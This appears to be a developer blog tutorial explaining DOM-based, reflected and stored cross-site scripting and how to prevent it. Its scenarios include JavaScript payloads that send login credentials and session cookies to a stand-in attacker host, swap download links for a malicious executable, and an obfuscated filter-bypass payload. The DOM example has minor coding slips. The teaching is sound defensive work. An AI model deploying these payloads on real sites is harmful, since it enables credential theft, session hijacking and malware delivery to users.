If you're a developer, chances are that you've heard of cross-site scripting. Cross-site scripting, commonly known as XSS, is one of the top 10 most common web security vulnerabilities according to OWASP. Cross-site scripting continues to be a major problem in many web applications, and it can result in some serious problems. As a developer, it's important to know what XSS is and to be aware of it, but it's even more important to know how to prevent it. Cybersecurity isn't just for security specialists, it's for everyone.
Today, I'm going to give you an introduction to XSS. Specifically, I'm going to cover:
- What XSS is, and the 3 types of XSS
- Why XSS matters
- How to prevent XSS in your web applications
What is XSS?
Cross-site scripting occurs when attackers or malicious users can manipulate a web site or web application to return malicious JavaScript to users. When this malicious JavaScript is executed in the user's browser, all of the user's interactions with the site (including but not limited to authentication and payment) can be compromised by the attacker.
There are 3 primary types of cross-site scripting:
DOM-based XSS
This type of XSS occurs when user input is manipulated in an unsafe way in the DOM (Document Object Map) by JavaScript. For example, this can occur if you were to read a value from a form, and then use JavaScript to write it back out to the DOM. If an attacker can control the input to that form, then they can control the script that will be executed. Common sources of DOM-based XSS include the eval()
function and the innerHTML
attribute, and attacks are commonly executed through the URL. PortSwigger has a great article on this. I've included an example below:
const username = document.getElementById('username_input');
const username_box = document.getElementById('username_box');
user_name_box.innerHTML = username;
To exploit this vulnerability, you could insert a malicious script into the input that would be executed:
<script>window.alert("Cross site scripting has occurred!");</script>
Reflected XSS
Reflected XSS is similar to DOM-based XSS: it occurs when the web server receives an HTTP request, and "reflects" information from the request back into the response in an unsafe manner. An example would be where the server will place the requested application route or URL in the page that is served back to the user. An attacker can construct a URL with a malicious route that contains JavaScript, such that if a user visits the link, the script will execute.
Malicious URLs containing cross-site scripting are commonly used as social engineering helpers in phishing emails or malicious links online.
Here's an example - given a route that will 404,
GET https://example.com/route/that/will/404
a vulnerable server might generate the response like so:
<h1>404</h1>
<p> Error: route "/route/that/will/404 was not found on the server</p>
An attacker could exploit this by constructing a URL like this:
https://example.com//route/that/will/404/<script>alert('XSS!');
When the user loads the page, the URL will be templated into the page, the script tags will be interpreted as HTML, and the malicious script will execute. PortSwigger has a great article on this as well.
Stored XSS
Stored XSS occurs when user-created data is stored in a database or other persistent storage, and is then loaded into a page. Common examples of types of applications that do this include forums, comment plugins, and similar applications. Stored XSS is particularly dangerous when the stored content is displayed to many or all users of the application, because then one user can compromise the site for any user that visits it, without requiring that they click on a specific link.
For example, suppose that a forum thread's posts are stored in a database, and that they're loaded whenever someone visits the thread and displayed. A malicious user could leave a comment that contains malicious JavaScript between <script></script>
tags in their post, and then the script would execute in the browser of any user that visits the page.
For example, their post in the threat might look something like this:
This is some text replying to the thread <script>alert('XSS');</script>
Why does Cross-site scripting matter?
This is all well and good, you might think, but what does it matter? So what if someone can make an alert()
bubble pop up on my webpage? That's a fair question - most XSS examples, including the ones I provided above, use alert()
as a proof-of-concept. However, cross-site scripting is by no means limited to alert()
bubbles - an attacker could execute any malicious JavaScript they wanted to. Let's think about a few scenarios.
Scenario 1: Stealing credentials from a login page
Suppose that an attacker has discovered a cross-site scripting vulnerability in a login page on a website. They could inject JavaScript to add an event listener to the form, such that whenever it is submitted it captures the username and password of the user that's trying to log in and sends them to a server controlled by the attacker:
// add an event listener to the form
const form_element = document.getElementsByTagName('form')[0];
form_element.addEventListener('submit', () => {
// capture the username and password from the form
const username = document.getElementById('username_input').value;
const password = document.getElementById('password_input').value;
// send the username and password to the attacker
fetch(`https://evil-website.com/password-capture/?u=${username}&p=${password}`);
}, false);
Scenario 2: Hijacking sessions from a forum
Suppose that our attacker has discovered a stored XSS vulnerability in a forum page. For the sake of this example, the forum is storing session without the HttpOnly
attribute (more on that here).
The attacker could inject a script to grab the session cookie of anyone that is logged in to the forum that views the thread, and could impersonate their user on the forum or the site at large:
// capture the cookies
const cookie = document.cookie;
// send the cookies to the attacker
fetch(`https://evil-website.com/cookie-capture`, {
data: cookie
});
Scenario 3: Compromising a downloads page to install malware
Suppose that the attacker has compromised the download page of a website with a cross-site scripting attack. They could use a XSS payload to modify the download links, so that instead of attempting to download the intended software, they point to malicious software hosted on the attacker's server. When users load the page and attempt to download the intended softare, they are served malware from the attacker's server:
// grab all download links on the page
const download_links = document.getElementsByClassName('download-link');
// change their target to a malicious piece of software hosted on the attacker's server
for (let link of download_links) {
link.setAttribute('href', 'https://evil-website.com/evil-program.exe');
}
Still not convinced?
The possible applications of XSS attacks are numerous - aside from stealing credentials, hijacking sessions, and modifying links, XSS can be used to modify the page at will, it can be used to impersonate the victim user, and it can be used to perform any action that the victim is allowed to do on the site.
Famously, or perhaps infamously, cross-site scripting vulnerabilities were exploited in a type of attack known as magecart attacks to steal users' credit card information from online payment forms.
Preventing XSS Attacks
XSS vulnerabilities are incredibly easy to create by accident. To prevent them, you need to put in place good coding practices, code review processes, and multiple layers of defense. The easiest way to prevent XSS would be to never allow users to supply data that's rendered into the page, but the fact is that this isn't a practical answer, since most applications store and manipulate user input in some form. Unfortunately, there is no one single foolproof way to prevent XSS. Therefore, it is important to have multiple layers of defense against cross-site scripting.
Validate and Sanitize User-supplied Data
User data should be validated on the front end of sites for correctness (e.g. email and phone number formatting), but it should also always be validated and sanitized on the backend for security. Depending on the application, you may be able to whitelist alphanumeric characters, and blacklist all other characters. However, this solution is not foolproof. It may help mitigate attacks, but it cannot prevent them entirely.
HTML Encoding
Any time that you are rendering user-provided data into the body of the document (e.g. with the innerHTML
attribute in JavaScript), you should HTML encode the data. However, this may not always prevent XSS if you are placing user-provided data in HTML tag attributes, and is not effective against placing untrusted data inside of a <script></script>
tag. If you decide to place user-provided data in HTML tag attributes, ensure that you are always using quotes around your attributes.
Use A Security Encoding Library
For many languages and frameworks, there are security encoding libraries that can help prevent XSS. For example, OWASP has one such library for Java. You should consider using a similar library for your web projects.
Use a Web Application Firewall
It may seem like overkill, but there are web application firewalls designed to specifically prevent common web attacks such as XSS and SQL Injection. Using a web application firewall (WAF) is not necessary for most applications, but for applications that require strong security, they can be a great resource. One such WAF is ModSecurity, which is available for Apache, Nginx, and IIS. Check out their wiki for more information.
Other resources
OWASP and PortSwigger both have excellent guides on preventing cross-site scripting attacks:
- https://portswigger.net/web-security/cross-site-scripting/preventing
- https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
How not to prevent XSS attacks
There are lots of great ways to mitigate and prevent XSS attacks, but there are also lots of really bad ways to try and prevent it. Here are some common ways that people try to prevent XSS that are unlikely to be successful:
- searching for
<
and>
characters in user-supplied data - searching for
<script></script>
tags in user-supplied data - using regexes to try and filter out script tags or other common XSS injections
In reality, XSS payloads can be extremely complicated, and can also be extremely obfuscated. Here's an example:
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
Cybercriminals often have extremely robust tools that can be used to attempt to bypass filters by obfuscating their XSS payloads. A homebrew regex is probably not going to cut it.
Conclusion
Key takeaways:
- There are 3 types of XSS: Reflected, DOM-based, and stored
- XSS can be exploited to execute arbitrary JavaScript in a users's web browser
- XSS attacks can be used to steal authentication information, hijack sessions, steal sensitive data, and deface websites.
- Prevent XSS by sanitizing user data on the backend, HTML-encode user-provided data that's rendered into the template, and use a security encoding library or WAF.
I hope you find this useful! Let me know what you think in the comments below.
If you're writing code for cloud applications, you need to know when things go wrong. I helped build CodeLighthouse to send real-time application error notifications straight to developers so that you can find and fix errors faster. Get started for free at codelighthouse.io today!
Top comments (3)
Great post
Thanks!
Explained thoroughly 🌸